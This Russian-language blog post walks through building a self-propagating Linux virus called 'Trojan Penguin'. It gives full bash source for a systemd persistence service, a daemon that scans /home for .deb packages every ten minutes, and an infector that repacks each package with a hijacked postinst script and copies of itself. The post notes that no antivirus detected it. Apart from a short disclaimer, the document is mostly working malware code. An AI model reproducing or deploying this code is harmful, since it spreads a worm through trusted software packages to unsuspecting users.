November 28, 2018

Троянский пингвин: Делаем вирус для Linux

Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?()». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.

Дисклеймер

Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.

И что мы, собственно, будем делать?

Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».

Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.

Что такое deb-пакет?

Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar

debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».

control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.

data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.

Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.

Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb --build ./path.

Сначала был демон

На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:

[Unit]
Description = XXX
 
[Service]
ExecStart=/usr/bin/trojan_penguin.sh
Type=fork
 
[Install]
WantedBy=multi-user.target

ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.

Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.

Я не видел необходимости в PID-файле, по этому я не стал его добавлять.

В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.

Файл /usr/bin/trojan_penguin.sh у меня получился таким:

#!/bin/bash

#debug=".../Programming/projects/TrojanPenguin"
debug=""

#создаем папку для записи логов, если таковой нет
if ! [ -d $debug/var/log/trojan_penguin/ ]; then 
 mkdir $debug/var/log/trojan_penguin
fi

#работаем в бесконечном цикле,
#делая паузы по 10 минут
while [ 1 ] 
do
  list=$(find /home -name "*.deb") #ищем deb-пакеты
  # для каждого найденного пакета выполняем следующий цикл
  for line in $list
    do
      $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log
    done 
    date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки)
    sleep 600 #пауза (60 * 10 сек = 10 мин)
  done

Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.

Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории "/usr/bin/", чтобы от туда копировать его в заражаемые пакеты.

#!/bin/bash

#debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin"
debug=""

systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать
systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой
systemctl start trojan_penguin.service #запускаем демон

Модифицируем deb-пакет

Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:

#!/bin/bash

#debug=".../Programming/projects/TrojanPenguin"
debug=""
temp="$debug/tmp/trojan_penguin"

#создаем временные папки
mkdir $temp
mkdir $temp/new
mkdir $temp/new/DEBIAN

#распакуем пакет
ar -p $1 data.tar.xz | tar -xJ -C $temp/new
ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/

#отредактируем control
#в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля.
cp $temp/new/DEBIAN/control $temp/orig_control
cat $temp/orig_control | grep  --before-context=100 Depends | grep -v  Depends > $temp/new/DEBIAN/control
cat $temp/orig_control | grep  Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control
echo ", fakeroot, python" >> $temp/new/DEBIAN/control
cat $temp/orig_control | grep  --after-context=100 Depends | grep -v  Depends >> $temp/new/DEBIAN/control

#скормим пакету наш постинстал
cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst

#достроим дерево с нужными нам директориями, если таковых нет
if ! [ -d $temp/new/usr ];
then
	mkdir $temp/new/usr
fi
if ! [ -d $temp/new/usr/bin ];
then
	mkdir $temp/new/usr/bin
fi
if ! [ -d $temp/new/lib ];
then
	mkdir $temp/new/lib
fi
if ! [ -d $temp/new/lib/systemd ];
then
	mkdir $temp/new/lib/systemd
fi
if ! [ -d $temp/new/lib/systemd/system ];
then
	mkdir $temp/new/lib/systemd/system
fi

#копируем наши файлы
cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh
cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh
cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh
cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/

#Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали.
fakeroot dpkg-deb --build $temp/new
cp $temp/new.deb $1
rm -R $temp

Проблемы с postinstall

Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash...), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:

Добавил в скрипт tp_infect.sh такую вещь:

#Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место.
if [ -f $temp/new/usr/bin/postinst ];
then
	cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst
fi

А в postinstal вот это:

#выполняем оригинальный постинстал и удаляем его
if [ -f $debug/usr/bin/tp_orig_postinst ]; then
	$debug/usr/bin/tp_orig_postinst
	rm $debug/usr/bin/tp_orig_postinst
fi

Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:

if [ -f $temp/new/usr/bin/trojan_penguin.sh ];
then
	rm -R $temp
	exit 0
fi

Собираем во едино

Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:

tp_infect.sh /путь заражаемому deb-пакету/

В репозитории есть две копии скрипта postinst

DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.

usr/bin/postinst — это копия вставляется в заражаемые пакеты.

Итог

А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.

Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?

https://t.me/CyberLifes